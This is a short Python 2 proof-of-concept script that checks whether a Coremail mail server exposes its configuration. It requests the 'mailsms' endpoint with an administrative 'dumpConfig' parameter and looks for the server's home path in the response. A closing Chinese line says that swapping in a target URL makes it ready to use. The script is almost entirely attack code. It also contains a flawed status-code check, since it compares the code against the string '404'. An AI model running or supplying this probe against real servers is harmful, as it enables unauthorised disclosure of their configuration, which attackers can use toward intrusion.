coremail poc

import requests,sys

def mailsmsPoC(url):
    url = url + "/mailsms/s?func=ADMIN:appState&dumpConfig=/"
    r = requests.get(url)
    if (r.status_code != '404') and ("/home/coremail" in r.text):
        print "mailsms is vulnerable: {0}".format(url)
    else:
        print "mailsms is safe!"

if __name__ == '__main__':
    try:
        mailsmsPoC(sys.argv[1])
    except:
        print "usage: python poc.py http://hi-ourlife.com/"

修改url 即可用